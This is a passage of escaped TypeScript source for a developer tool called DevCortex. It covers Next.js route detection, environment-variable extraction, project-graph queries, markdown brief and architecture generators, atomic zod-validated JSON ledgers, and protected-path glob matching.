dynamic `[x]`/`[...x]`\n * segments are normalised to `:x`/`:x*`.\n * Pages Router: `pages/**` → page, `pages/api/**` → api; `_app`/`_document`\n * and other underscore-prefixed files are ignored.\n *\n * Both router roots may live at the repo root or under `src/`.\n */\n\nimport type { RouteNode } from '../domain/index';\n\nconst SCRIPT_EXT = /\\.[cm]?[jt]sx?$/;\n\nfunction routerRootIndex(segs: string[], rootName: string): number {\n const idx = segs.indexOf(rootName);\n if (idx === 0) return 0;\n if (idx === 1 && segs[0] === 'src') return 1;\n return -1;\n}\n\nfunction normalizeSegment(segment: string): string | null {\n // route group: (marketing) → dropped\n if (/^\\(.*\\)$/.test(segment)) return null;\n // parallel route slot: @modal → dropped\n if (segment.startsWith('@')) return null;\n // optional catch-all: [[...slug]] → :slug*\n let m = /^\\[\\[\\.\\.\\.(.+)\\]\\]$/.exec(segment);\n if (m && m[1] !== undefined) return `:${m[1]}*`;\n // catch-all: [...slug] → :slug*\n m = /^\\[\\.\\.\\.(.+)\\]$/.exec(segment);\n if (m && m[1] !== undefined) return `:${m[1]}*`;\n // dynamic: [slug] → :slug\n m = /^\\[(.+)\\]$/.exec(segment);\n if (m && m[1] !== undefined) return `:${m[1]}`;\n return segment;\n}\n\nfunction buildPath(parts: string[]): string {\n const normalized: string[] = [];\n for (const part of parts) {\n const norm = normalizeSegment(part);\n if (norm !== null && norm.length > 0) normalized.push(norm);\n }\n return normalized.length === 0 ? '/' : `/${normalized.join('/')}`;\n}\n\nfunction appRoute(segs: string[], base: string): RouteNode | null {\n const rootIdx = routerRootIndex(segs, 'app');\n if (rootIdx === -1) return null;\n if (!SCRIPT_EXT.test(base)) return null;\n\n const stem = base.replace(SCRIPT_EXT, '');\n let kind: RouteNode['kind'];\n if (stem === 'page') kind = 'page';\n else if (stem === 'route') kind = 'api';\n else if (stem === 'layout') kind = 'layout';\n else return null;\n\n const between = segs.slice(rootIdx + 1, segs.length - 1);\n return { routePath: buildPath(between), file: segs.join('/'), kind };\n}\n\nfunction pagesRoute(segs: string[], base: string): RouteNode | null {\n const rootIdx = routerRootIndex(segs, 'pages');\n if (rootIdx === -1) return null;\n if (!SCRIPT_EXT.test(base)) return null;\n\n const stem = base.replace(SCRIPT_EXT, '');\n if (stem.startsWith('_')) return null; // _app, _document, _error, _middleware\n\n const between = segs.slice(rootIdx + 1, segs.length - 1);\n const isApi = between[0] === 'api';\n const parts = stem === 'index' ? [...between] : [...between, stem];\n\n return {\n routePath: buildPath(parts),\n file: segs.join('/'),\n kind: isApi ? 'api' : 'page',\n };\n}\n\n/** Detect Next.js routes from a list of repo-relative POSIX file paths. */\nexport function detectRoutes(relFiles: string[]): RouteNode[] {\n const routes: RouteNode[] = [];\n const seen = new Set<string>();\n\n for (const file of relFiles) {\n const posix = file.replace(/\\\\/g, '/');\n const segs = posix.split('/').filter((s) => s.length > 0);\n if (segs.length === 0) continue;\n const base = segs[segs.length - 1];\n if (base === undefined) continue;\n\n const route = appRoute(segs, base) ?? pagesRoute(segs, base);\n if (route === null) continue;\n\n const key = `${route.kind}\u0000${route.routePath}\u0000${route.file}`;\n if (seen.has(key)) continue;\n seen.add(key);\n routes.push(route);\n }\n\n routes.sort((a, b) =>\n a.routePath === b.routePath\n ? a.file < b.file\n ? -1\n : a.file > b.file\n ? 1\n : 0\n : a.routePath < b.routePath\n ? -1\n : 1,\n );\n return routes;\n}\n","/**\n * Environment-variable analysis helpers.\n *\n * - `extractEnvRefs` finds `process.env.X` / `process.env['X']` references in a\n * source string.\n * - `parseEnvKeys` parses the key set declared in a dotenv-style file\n * (`.env.example`) so the scanner can mark a referenced var \"documented\".\n *\n * Both are pure string functions — no I/O — so they are trivially testable and\n * have no failure path of their own.\n */\n\nconst DOT_REF = /process\\.env\\.([A-Za-z_][A-Za-z0-9_]*)/g;\nconst BRACKET_REF = /process\\.env\\[\\s*['\"]([A-Za-z_][A-Za-z0-9_]*)['\"]\\s*\\]/g;\n\n/** Distinct env var names referenced via `process.env` in the given source. */\nexport function extractEnvRefs(source: string): string[] {\n const names = new Set<string>();\n for (const re of [DOT_REF, BRACKET_REF]) {\n re.lastIndex = 0;\n let match: RegExpExecArray | null;\n while ((match = re.exec(source)) !== null) {\n const name = match[1];\n if (name !== undefined && name.length > 0) names.add(name);\n }\n }\n return [...names];\n}\n\n/** Keys declared in a dotenv-style file (e.g. `.env.example`). */\nexport function parseEnvKeys(content: string): Set<string> {\n const keys = new Set<string>();\n for (const rawLine of content.split(/\\r?\\n/)) {\n const line = rawLine.trim();\n if (line.length === 0 || line.startsWith('#')) continue;\n const eq = line.indexOf('=');\n const left = (eq === -1 ? line : line.slice(0, eq)).trim().replace(/^export\\s+/, '');\n if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(left)) keys.add(left);\n }\n return keys;\n}\n","/**\n * Read-only graph queries:\n * - `relevantFiles` ranks files against a free-text task by keyword/kind match.\n * - `dependentsOf` returns the transitive `importedBy` closure of a file\n * (cycle-safe).\n *\n * Both are pure functions over an already-built `ProjectGraph`.\n */\n\nimport type { FileKind, FileNode, ProjectGraph } from '../domain/index';\nimport * as path from 'node:path';\nimport { tokenize } from './classify';\n\nconst STOPWORDS = new Set([\n 'the',\n 'a',\n 'an',\n 'to',\n 'for',\n 'and',\n 'or',\n 'with',\n 'in',\n 'on',\n 'of',\n 'new',\n 'please',\n 'add',\n 'adds',\n 'added',\n 'update',\n 'updates',\n 'fix',\n 'fixes',\n 'implement',\n 'create',\n 'creates',\n 'build',\n 'builds',\n 'make',\n 'change',\n 'changes',\n 'support',\n 'need',\n 'want',\n 'use',\n 'using',\n 'from',\n 'into',\n 'our',\n 'my',\n 'that',\n 'this',\n 'it',\n 'as',\n 'at',\n 'be',\n 'is',\n 'are',\n 'so',\n 'we',\n 'can',\n]);\n\nconst SHORT_ALLOW = new Set(['ui', 'db', 'id']);\n\nconst KIND_HINTS: Record<string, FileKind[]> = {\n auth: ['auth'],\n authentication: ['auth'],\n login: ['auth'],\n signin: ['auth'],\n signup: ['auth'],\n session: ['auth'],\n oauth: ['auth'],\n permission: ['auth'],\n permissions: ['auth'],\n rbac: ['auth'],\n billing: ['billing'],\n payment: ['billing'],\n payments: ['billing'],\n stripe: ['billing'],\n subscription: ['billing'],\n subscriptions: ['billing'],\n checkout: ['billing'],\n invoice: ['billing'],\n api: ['api'],\n endpoint: ['api'],\n endpoints: ['api'],\n route: ['route', 'api', 'page'],\n page: ['page'],\n ui: ['component'],\n component: ['component'],\n components: ['component'],\n migration: ['migration'],\n migrations: ['migration'],\n database: ['migration', 'schema'],\n schema: ['schema'],\n table: ['migration', 'schema'],\n tables: ['migration', 'schema'],\n middleware: ['middleware'],\n test: ['test'],\n tests: ['test'],\n env: ['env'],\n config: ['config'],\n service: ['service'],\n services: ['service'],\n};\n\nfunction taskTokens(task: string): string[] {\n const out = new Set<string>();\n for (const token of tokenize(task)) {\n if (token.length >= 3 || SHORT_ALLOW.has(token)) {\n if (!STOPWORDS.has(token)) out.add(token);\n }\n }\n return [...out];\n}\n\n/** a===b, or one is a length-≥4 prefix of the other (handles plurals/stems). */\nfunction tokenMatches(a: string, b: string): boolean {\n if (a === b) return true;\n if (a.length >= 4 && b.startsWith(a)) return true;\n if (b.length >= 4 && a.startsWith(b)) return true;\n return false;\n}\n\n/** Rank files by relevance to a free-text task. Highest score first. */\nexport function relevantFiles(graph: ProjectGraph, task: string): FileNode[] {\n const tokens = taskTokens(task);\n if (tokens.length === 0) return [];\n\n const scored: Array<{ file: FileNode; score: number }> = [];\n\n for (const file of graph.files) {\n const pathLower = file.path.toLowerCase();\n const pathTokens = new Set(tokenize(file.path));\n const tags = file.tags.map((t) => t.toLowerCase());\n const symbols = file.symbols.map((s) => s.toLowerCase());\n\n let score = 0;\n for (const token of tokens) {\n if (pathTokens.has(token)) score += 3;\n else if ([...pathTokens].some((p) => tokenMatches(token, p))) score += 2;\n else if (pathLower.includes(token)) score += 1;\n\n if (tags.some((t) => tokenMatches(token, t))) score += 2;\n if (symbols.some((s) => tokenMatches(token, s))) score += 2;\n\n for (const key of Object.keys(KIND_HINTS)) {\n if (!tokenMatches(token, key)) continue;\n const kinds = KIND_HINTS[key];\n if (kinds !== undefined && kinds.includes(file.kind)) {\n score += 4;\n break;\n }\n }\n }\n\n if (score > 0) scored.push({ file, score });\n }\n\n scored.sort((a, b) =>\n b.score !== a.score ? b.score - a.score : a.file.path < b.file.path ? -1 : a.file.path > b.file.path ? 1 : 0,\n );\n return scored.map((s) => s.file);\n}\n\nfunction normalizeToRepoRel(graph: ProjectGraph, file: string): string {\n let f = file.replace(/\\\\/g, '/');\n const rootPosix = graph.root.replace(/\\\\/g, '/').replace(/\\/+$/, '');\n if (f === rootPosix) return '';\n if (f.startsWith(`${rootPosix}/`)) {\n f = f.slice(rootPosix.length);\n } else if (path.isAbsolute(file)) {\n const rel = path.relative(graph.root, file).split(path.sep).join('/');\n f = rel;\n }\n return f.replace(/^\\/+/, '').replace(/^\\.\\//, '');\n}\n\n/** Transitive set of files that (directly or indirectly) import `file`. */\nexport function dependentsOf(graph: ProjectGraph, file: string): string[] {\n const target = normalizeToRepoRel(graph, file);\n const byPath = new Map<string, FileNode>(graph.files.map((f) => [f.path, f]));\n if (!byPath.has(target)) return [];\n\n const result = new Set<string>();\n const visited = new Set<string>([target]);\n const queue: string[] = [target];\n\n while (queue.length > 0) {\n const current = queue.shift();\n if (current === undefined) break;\n const node = byPath.get(current);\n if (node === undefined) continue;\n for (const dependent of node.importedBy) {\n if (visited.has(dependent)) continue;\n visited.add(dependent);\n result.add(dependent);\n queue.push(dependent);\n }\n }\n\n return [...result].sort();\n}\n","/**\n * Generators for the three human-readable documents DevCortex writes into\n * `.cortex/` at init time: the project brief, the architecture map, and the\n * quality constitution.\n *\n * Each generator is a pure function of the detected stack + cached graph (+\n * config), so output is deterministic and round-trippable in tests. The MCP\n * `get_project_brief` / `get_architecture_map` / `get_quality_constitution`\n * tools read these files back verbatim, so the content is real, derived from the\n * actual scan — never a placeholder.\n */\nimport type {\n CortexConfig,\n DetectedStack,\n OperatingMode,\n ProjectGraph,\n RiskLevel,\n} from '../domain/index';\n\n/** Rendered for any section whose underlying list is empty. */\nconst NONE = '_none_';\n\n/** Render a markdown bullet list, falling back to a stable empty marker. */\nfunction bullets(items: string[]): string {\n if (items.length === 0) {\n return NONE;\n }\n return items.map((item) => `- ${item}`).join('\\n');\n}\n\n/** Shared stack summary used by the brief, the map, and the constitution. */\nfunction stackLines(stack: DetectedStack): string {\n const version = stack.frameworkVersion !== undefined ? ` ${stack.frameworkVersion}` : '';\n const targets =\n stack.deploymentTargets.length > 0 ? stack.deploymentTargets.join(', ') : NONE;\n return [\n `- **Framework:** ${stack.framework}${version}`,\n `- **Language:** ${stack.language}`,\n `- **Package manager:** ${stack.packageManager}`,\n `- **Monorepo:** ${stack.monorepo ? 'yes' : 'no'}`,\n `- **Deployment targets:** ${targets}`,\n ].join('\\n');\n}\n\n/**\n * `.cortex/project.md` — a concise brief: stack, operating posture, headline\n * stats, the route table, and the package scripts. Surfaced by\n * `cortex.get_project_brief`.\n */\nexport function renderProjectBrief(graph: ProjectGraph, config: CortexConfig): string {\n const { stack, stats } = graph;\n\n const routes = [...graph.routes]\n .sort((a, b) => a.routePath.localeCompare(b.routePath))\n .map((route) => `- \\`${route.routePath}\\` -> ${route.file} (${route.kind})`);\n\n const scripts = Object.entries(graph.scripts)\n .sort(([a], [b]) => a.localeCompare(b))\n .map(([name, command]) => `- \\`${name}\\`: ${command}`);\n\n return `${[\n '# Project Brief',\n '',\n `> Generated by DevCortex at ${graph.generatedAt}. Regenerate with \\`devcortex scan\\`.`,\n '',\n '## Stack',\n stackLines(stack),\n '',\n '## Operating posture',\n `- **Mode:** ${config.mode}`,\n `- **Privacy:** ${config.privacy}`,\n '',\n '## At a glance',\n `- **Files:** ${stats.fileCount}`,\n `- **Routes:** ${stats.routeCount} (API: ${stats.apiCount})`,\n `- **Tests:** ${stats.testCount}`,\n `- **Risky surfaces:** ${stats.riskyCount}`,\n '',\n '## Routes',\n bullets(routes),\n '',\n '## Scripts',\n bullets(scripts),\n ].join('\\n')}\\n`;\n}\n\n/**\n * `.cortex/architecture.md` — the structural map: stack, file-kind breakdown,\n * API endpoints, risky surfaces, environment variables, and dependency hotspots\n * (the most depended-upon files, where blast radius is widest). Surfaced by\n * `cortex.get_architecture_map`.\n */\nexport function renderArchitectureMap(graph: ProjectGraph): string {\n const { stack } = graph;\n\n const kindCounts = new Map<string, number>();\n for (const file of graph.files) {\n kindCounts.set(file.kind, (kindCounts.get(file.kind) ?? 0) + 1);\n }\n const kinds = [...kindCounts.entries()]\n .sort(([a], [b]) => a.localeCompare(b))\n .map(([kind, count]) => `${kind}: ${count}`);\n\n const apiEndpoints = [...graph.routes]\n .filter((route) => route.kind === 'api')\n .sort((a, b) => a.routePath.localeCompare(b.routePath))\n .map((route) => `\\`${route.routePath}\\` -> ${route.file}`);\n\n const riskyFiles = [...graph.riskyFiles].sort((a, b) => a.localeCompare(b));\n\n const envVars = [...graph.envVars]\n .sort((a, b) => a.name.localeCompare(b.name))\n .map(\n (env) =>\n `\\`${env.name}\\`${env.documented ? '' : ' (undocumented)'} — used in ${env.usedIn.length} file(s)`,\n );\n\n const hotspots = [...graph.files]\n .filter((file) => file.importedBy.length > 0)\n .sort(\n (a, b) => b.importedBy.length - a.importedBy.length || a.path.localeCompare(b.path),\n )\n .slice(0, 10)\n .map((file) => `${file.path} — imported by ${file.importedBy.length} file(s)`);\n\n return `${[\n '# Architecture Map',\n '',\n `> Generated by DevCortex at ${graph.generatedAt}. Regenerate with \\`devcortex scan\\`.`,\n '',\n '## Stack',\n stackLines(stack),\n '',\n '## File kinds',\n bullets(kinds),\n '',\n '## API endpoints',\n bullets(apiEndpoints),\n '',\n '## Risky surfaces',\n '> Auth, billing, middleware, migration, env and config files — edits here are risk-floored.',\n bullets(riskyFiles),\n '',\n '## Environment variables',\n bullets(envVars),\n '',\n '## Dependency hotspots',\n '> The most depended-upon files — changes here have the widest blast radius.',\n bullets(hotspots),\n ].join('\\n')}\\n`;\n}\n\n/** Plain-language meaning of each operating mode (exhaustive over OperatingMode). */\nconst MODE_MEANINGS: Record<OperatingMode, string> = {\n passive: 'observes and advises, never blocks',\n guarded: 'blocks high/critical-risk work until evidence is supplied',\n autopilot: 'blocks only critical-risk work',\n};\n\n/** One markdown checkbox line per gate. */\nfunction gateLine(label: string, enabled: boolean): string {\n return `- [${enabled ? 'x' : ' '}] **${label}** — ${enabled ? 'required' : 'disabled'}`;\n}\n\n/**\n * `.cortex/quality-constitution.md` — the contract the gates enforce, derived\n * from the config: operating posture, required gates, gate commands, risk\n * floors, protected paths, forced stack packs, and the detected stack. Surfaced\n * by `cortex.get_quality_constitution`.\n */\nexport function renderQualityConstitution(config: CortexConfig, stack: DetectedStack): string {\n const commands = Object.entries(config.commands)\n .filter((entry): entry is [string, string] => typeof entry[1] === 'string')\n .sort(([a], [b]) => a.localeCompare(b))\n .map(([gate, command]) => `\\`${gate}\\`: \\`${command}\\``);\n\n const floors = Object.entries(config.risk.floors)\n .filter((entry): entry is [string, RiskLevel] => entry[1] !== undefined)\n .sort(([a], [b]) => a.localeCompare(b))\n .map(([taskType, level]) => `**${taskType}** -> minimum risk \\`${level}\\``);\n\n const protectedPaths = [...config.risk.protectedPaths]\n .sort((a, b) => a.localeCompare(b))\n .map((pattern) => `\\`${pattern}\\``);\n\n const stackPacks = config.stackPacks.map((id) => `\\`${id}\\``);\n\n return `${[\n '# Quality Constitution',\n '',\n '> Generated by DevCortex from `.cortex/config.yaml`. This is the contract the gates enforce.',\n '',\n '## Operating posture',\n `- **Mode:** ${config.mode} (${MODE_MEANINGS[config.mode]})`,\n `- **Privacy:** ${config.privacy}`,\n `- **Block unproven done:** ${\n config.gates.blockUnprovenDone\n ? 'yes — a \"done\" claim is rejected without supporting evidence'\n : 'no'\n }`,\n '',\n '## Required gates',\n gateLine('Type-check', config.gates.typecheck),\n gateLine('Lint', config.gates.lint),\n gateLine('Build', config.gates.build),\n gateLine('Test', config.gates.test),\n '',\n '## Gate commands',\n bullets(commands),\n '',\n '## Risk floors',\n '> Task types pinned to a minimum risk level regardless of other signals.',\n bullets(floors),\n '',\n '## Protected paths',\n '> Edits matching these globs are treated as high/critical risk.',\n bullets(protectedPaths),\n '',\n '## Forced stack packs',\n bullets(stackPacks),\n '',\n '## Stack',\n `Detected stack: **${stack.framework} (${stack.language}, ${stack.packageManager})**. ` +\n 'Stack-specific best practices, anti-patterns and version checks are supplied by the ' +\n 'matching stack pack(s).',\n ].join('\\n')}\\n`;\n}\n","/**\n * Shared file-backed JSON store behind all four ledgers.\n *\n * Each entry is a single `<id>.json` file under a `.cortex/` subdirectory.\n * Three invariants make the ledgers safe as a long-lived \"project brain\":\n *\n * - Every value read back from disk is re-validated with the owning zod schema,\n * so a corrupt or hand-edited file surfaces as a {@link LedgerError} instead\n * of silently poisoning downstream context compilation.\n * - Every write validates first, so a malformed in-memory record can never\n * reach disk; bad input is rejected with {@link SchemaValidationError}.\n * - Every write is atomic (temp file + `rename` in the same directory), so a\n * concurrent reader or a crash mid-write never sees a truncated, half-written\n * entry — only the previous file or the complete new one.\n *\n * The store is self-initializing: `persist` creates its backing directory on\n * demand, so a ledger works on a fresh repo even before `devcortex init` has\n * materialized the `.cortex/` subdirs.\n */\nimport { randomUUID } from 'node:crypto';\nimport { mkdir, readFile, readdir, rename, rm, writeFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport type { ZodType } from 'zod';\n\nimport { LedgerError, SchemaValidationError } from '../domain/index';\n\nexport abstract class JsonLedger<T extends { id: string }> {\n protected constructor(\n protected readonly root: string,\n /** absolute path of the `.cortex/<kind>` directory this ledger owns */\n protected readonly dir: string,\n /** zod schema used for both write-time and read-time validation */\n protected readonly schema: ZodType<T>,\n /** human-readable noun used in error messages, e.g. \"memory\" */\n protected readonly label: string,\n ) {}\n\n /** Read + validate a single entry; `undefined` when it does not exist. */\n async get(id: string): Promise<T | undefined> {\n const file = this.fileFor(id);\n let raw: string;\n try {\n raw = await readFile(file, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n return undefined;\n }\n throw new LedgerError(`Unable to read ${this.label} record at ${file}.`, { cause: err });\n }\n return this.parseEntry(raw, file);\n }\n\n /** All entries, optionally narrowed by a predicate. */\n async list(filter?: (item: T) => boolean): Promise<T[]> {\n let names: string[];\n try {\n names = await readdir(this.dir);\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n // No directory yet => no entries. Not an error condition.\n return [];\n }\n throw new LedgerError(`Unable to list ${this.label} records in ${this.dir}.`, { cause: err });\n }\n\n const items: T[] = [];\n for (const name of names) {\n if (!name.endsWith('.json')) {\n continue;\n }\n const file = path.join(this.dir, name);\n let raw: string;\n try {\n raw = await readFile(file, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n // Concurrently removed between readdir and readFile; skip it.\n continue;\n }\n throw new LedgerError(`Unable to read ${this.label} record at ${file}.`, { cause: err });\n }\n const item = this.parseEntry(raw, file);\n if (filter === undefined || filter(item)) {\n items.push(item);\n }\n }\n return items;\n }\n\n /** Every entry, unfiltered. */\n async all(): Promise<T[]> {\n return this.list();\n }\n\n /**\n * Validate a fully-formed record and persist it atomically, returning the\n * stored (schema-parsed) value. The JSON is written to a temp file in the\n * same directory and then `rename`d onto the final path — `rename` is atomic\n * within a filesystem, so a concurrent reader (or a crash mid-write) never\n * observes a truncated, half-written entry; it sees either the previous file\n * or the complete new one. Used by the concrete ledgers' `add`/`update`.\n */\n protected async persist(candidate: T): Promise<T> {\n const result = this.schema.safeParse(candidate);\n if (!result.success) {\n throw new SchemaValidationError(`Refusing to write an invalid ${this.label} record.`, {\n details: result.error.issues,\n cause: result.error,\n });\n }\n const validated = result.data;\n const file = this.fileFor(validated.id);\n // Temp file lives in the SAME directory so the rename stays on one\n // filesystem (cross-device renames are not atomic). The unique suffix keeps\n // concurrent writers of the same id from clobbering each other's temp file,\n // and the non-\".json\" name keeps `list()` from ever picking it up.\n const tmpFile = path.join(this.dir, `.${validated.id}.${randomUUID()}.tmp`);\n try {\n await mkdir(this.dir, { recursive: true });\n await writeFile(tmpFile, `${JSON.stringify(validated, null, 2)}\\n`, 'utf8');\n await rename(tmpFile, file);\n } catch (err) {\n // Best-effort cleanup so a failed write never leaves a stray temp file.\n await rm(tmpFile, { force: true }).catch(() => undefined);\n throw new LedgerError(`Unable to write ${this.label} record to ${file}.`, { cause: err });\n }\n return validated;\n }\n\n /** Load an entry that must exist (used by `update`); throws when absent. */\n protected async loadRequired(id: string): Promise<T> {\n const existing = await this.get(id);\n if (existing === undefined) {\n throw new LedgerError(`No ${this.label} record exists with id \"${id}\".`);\n }\n return existing;\n }\n\n /** Resolve the absolute path of an entry file, rejecting unsafe ids. */\n protected fileFor(id: string): string {\n if (typeof id !== 'string' || id.length === 0) {\n throw new SchemaValidationError(`A ${this.label} id must be a non-empty string.`);\n }\n // Ids become file names: reject anything that could escape the ledger dir.\n if (id !== path.basename(id) || id.includes('..') || id.includes('/') || id.includes('\\\\')) {\n throw new SchemaValidationError(`The ${this.label} id \"${id}\" is not a safe entry id.`);\n }\n return path.join(this.dir, `${id}.json`);\n }\n\n /** Parse + schema-validate raw JSON, mapping any failure to a LedgerError. */\n private parseEntry(raw: string, file: string): T {\n let parsed: unknown;\n try {\n parsed = JSON.parse(raw);\n } catch (err) {\n throw new LedgerError(`The ${this.label} record at ${file} is not valid JSON.`, {\n cause: err,\n });\n }\n const result = this.schema.safeParse(parsed);\n if (!result.success) {\n throw new LedgerError(`The ${this.label} record at ${file} failed schema validation.`, {\n details: result.error.issues,\n cause: result.error,\n });\n }\n return result.data;\n }\n}\n\n/** Narrow an unknown thrown value to a Node `errno` exception. */\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n","/**\n * MemoryLedger — durable store of facts, decisions, risks, assumptions,\n * constraints and patterns the project has learned. Memory items carry a\n * `confidence` and `evidence` refs so unverified memory is never silently\n * promoted to permanent truth (see `domain/types.ts`).\n */\nimport { randomUUID } from 'node:crypto';\n\nimport type { MemoryItem } from '../domain/index';\nimport { MemoryItemSchema } from '../domain/index';\n// The workspace barrel re-export is still being assembled by the workspace\n// agent; import the stable `paths` subfile directly for `workspacePaths`.\nimport { workspacePaths } from '../workspace/paths';\n\nimport { JsonLedger } from './json-ledger';\n\n/** Fields a caller supplies to {@link MemoryLedger.add}; ids/timestamps are generated. */\nexport type MemoryInput = Omit<MemoryItem, 'id' | 'createdAt' | 'updatedAt'>;\n\n/** Mutable fields accepted by {@link MemoryLedger.update}. */\nexport type MemoryPatch = Partial<MemoryInput>;\n\nexport class MemoryLedger extends JsonLedger<MemoryItem> {\n constructor(root: string) {\n super(root, workspacePaths(root).memoryDir, MemoryItemSchema, 'memory');\n }\n\n async add(input: MemoryInput): Promise<MemoryItem> {\n const now = new Date().toISOString();\n const record: MemoryItem = {\n ...input,\n id: randomUUID(),\n createdAt: now,\n updatedAt: now,\n };\n return this.persist(record);\n }\n\n async update(id: string, patch: MemoryPatch): Promise<MemoryItem> {\n const existing = await this.loadRequired(id);\n const updated: MemoryItem = {\n ...existing,\n ...patch,\n id: existing.id,\n createdAt: existing.createdAt,\n updatedAt: new Date().toISOString(),\n };\n return this.persist(updated);\n }\n}\n","/**\n * FeatureLedger — the catalogue of features the project has built or plans to:\n * their purpose, surfaces (routes/components/api/tables/env), protected\n * behaviors, acceptance criteria, evidence and regression checks. This is the\n * source of truth blast-radius and ship reports reason about.\n */\nimport { randomUUID } from 'node:crypto';\n\nimport type { FeatureRecord } from '../domain/index';\nimport { FeatureRecordSchema } from '../domain/index';\n// The workspace barrel re-export is still being assembled by the workspace\n// agent; import the stable `paths` subfile directly for `workspacePaths`.\nimport { workspacePaths } from '../workspace/paths';\n\nimport { JsonLedger } from './json-ledger';\n\n/** Fields a caller supplies to {@link FeatureLedger.add}; id/`updatedAt` are generated. */\nexport type FeatureInput = Omit<FeatureRecord, 'id' | 'updatedAt'>;\n\n/** Mutable fields accepted by {@link FeatureLedger.update}. */\nexport type FeaturePatch = Partial<FeatureInput>;\n\nexport class FeatureLedger extends JsonLedger<FeatureRecord> {\n constructor(root: string) {\n super(root, workspacePaths(root).featuresDir, FeatureRecordSchema, 'feature');\n }\n\n async add(input: FeatureInput): Promise<FeatureRecord> {\n const record: FeatureRecord = {\n ...input,\n id: randomUUID(),\n updatedAt: new Date().toISOString(),\n };\n return this.persist(record);\n }\n\n async update(id: string, patch: FeaturePatch): Promise<FeatureRecord> {\n const existing = await this.loadRequired(id);\n const updated: FeatureRecord = {\n ...existing,\n ...patch,\n id: existing.id,\n updatedAt: new Date().toISOString(),\n };\n return this.persist(updated);\n }\n}\n","/**\n * DecisionLedger — lightweight Architecture Decision Records: the decision, its\n * context, the options weighed, what was chosen and why, tradeoffs accepted and\n * the files it governs. `date` records when the decision was taken (defaulting\n * to now) and is immutable thereafter; `status` tracks proposed/accepted/superseded.\n */\nimport { randomUUID } from 'node:crypto';\n\nimport type { DecisionRecord } from '../domain/index';\nimport { DecisionRecordSchema } from '../domain/index';\n// The workspace barrel re-export is still being assembled by the workspace\n// agent; import the stable `paths` subfile directly for `workspacePaths`.\nimport { workspacePaths } from '../workspace/paths';\n\nimport { JsonLedger } from './json-ledger';\n\n/**\n * Fields a caller supplies to {@link DecisionLedger.add}; `id` is generated and\n * `date` defaults to the current ISO timestamp when omitted.\n */\nexport type DecisionInput = Omit<DecisionRecord, 'id' | 'date'> & { date?: string };\n\n/** Mutable fields accepted by {@link DecisionLedger.update}; `date` is immutable. */\nexport type DecisionPatch = Partial<Omit<DecisionRecord, 'id' | 'date'>>;\n\nexport class DecisionLedger extends JsonLedger<DecisionRecord> {\n constructor(root: string) {\n super(root, workspacePaths(root).decisionsDir, DecisionRecordSchema, 'decision');\n }\n\n async add(input: DecisionInput): Promise<DecisionRecord> {\n const { date, ...rest } = input;\n const record: DecisionRecord = {\n ...rest,\n id: randomUUID(),\n date: date ?? new Date().toISOString(),\n };\n return this.persist(record);\n }\n\n async update(id: string, patch: DecisionPatch): Promise<DecisionRecord> {\n const existing = await this.loadRequired(id);\n const updated: DecisionRecord = {\n ...existing,\n ...patch,\n id: existing.id,\n date: existing.date,\n };\n return this.persist(updated);\n }\n}\n","/**\n * EvidenceLedger — append-only record of verification results (build/test/lint/\n * route/file/symbol/import/command/env checks). Evidence is the spine of the\n * \"evidence over opinions\" philosophy: once recorded it is immutable, so there\n * is deliberately no `update`. Corrections are expressed by appending a new,\n * fresher EvidenceItem rather than rewriting history.\n */\nimport { randomUUID } from 'node:crypto';\n\nimport type { EvidenceItem } from '../domain/index';\nimport { EvidenceItemSchema } from '../domain/index';\n// The workspace barrel re-export is still being assembled by the workspace\n// agent; import the stable `paths` subfile directly for `workspacePaths`.\nimport { workspacePaths } from '../workspace/paths';\n\nimport { JsonLedger } from './json-ledger';\n\n/** Fields a caller supplies to {@link EvidenceLedger.add}; id/`createdAt` are generated. */\nexport type EvidenceInput = Omit<EvidenceItem, 'id' | 'createdAt'>;\n\nexport class EvidenceLedger extends JsonLedger<EvidenceItem> {\n constructor(root: string) {\n super(root, workspacePaths(root).evidenceDir, EvidenceItemSchema, 'evidence');\n }\n\n async add(input: EvidenceInput): Promise<EvidenceItem> {\n const record: EvidenceItem = {\n ...input,\n id: randomUUID(),\n createdAt: new Date().toISOString(),\n };\n return this.persist(record);\n }\n\n // Intentionally no `update`: the evidence ledger is append-only.\n}\n","/**\n * Protected-path matching.\n *\n * A path is \"protected\" when it matches any glob in `config.risk.protectedPaths`.\n * Protected paths are the files whose edits DevCortex treats as inherently\n * high/critical risk (auth, billing, middleware, migrations, env, etc.). The\n * match is purely path-based — it never touches the filesystem — so it is safe\n * to call on hypothetical or not-yet-existing paths.\n */\nimport picomatch from 'picomatch';\nimport type { CortexConfig } from '../domain/index';\nimport { ConfigError } from '../domain/index';\n\n/**\n * True when `path` matches any configured protected glob.\n *\n * Matching rules:\n * - Paths are normalised to POSIX separators and a leading `./` is stripped.\n * - Patterns containing a `/` are matched against the full repo-relative path.\n * - Patterns with no `/` are matched against the full path AND the basename, so\n * a pattern like `middleware.ts` protects both `middleware.ts` and\n * `src/app/middleware.ts` (picomatch's own `basename` option is not used\n * because it silently breaks multi-segment `**` patterns).\n * - Dotfiles (`.env`, ...) are matched (`{ dot: true }`).\n *\n * @throws ConfigError when a configured pattern is not a usable glob string.\n */\nexport function isProtected(path: string, config: CortexConfig): boolean {\n if (typeof path !== 'string' || path.length === 0) {\n return false;\n }\n\n const normalized = normalizePath(path);\n\n for (const pattern of config.risk.protectedPaths) {\n // Defensive: config is zod-validated to be string[] at the disk boundary,\n // but a hand-constructed CortexConfig could still smuggle a non-string in.\n if (typeof pattern !== 'string') {\n throw new ConfigError(`protectedPaths entry is not a string: ${String(pattern)}`, {\n details: { pattern },\n });\n }\n if (pattern.trim().length === 0) {\n // An empty pattern protects nothing; skip it rather than letting\n // picomatch throw on the empty string.\n continue;\n }\n\n let matcher: (input: string) => boolean;\n try {\n matcher = picomatch(pattern, { dot: true });\n } catch (cause) {\n throw new ConfigError(`Invalid protected-path glob: ${pattern}`, { cause });\n }\n\n if (matcher(normalized)) {\n return true;\n }\n if (!pattern.includes('/') && matcher(basenameOf(normalized))) {\n return true;\n }\n }\n\n return false;\n}\n\nfunction normalizePath(path: string): string {\n return path.replace(/\\\\/g, '/').replace(/^\\.\\//, 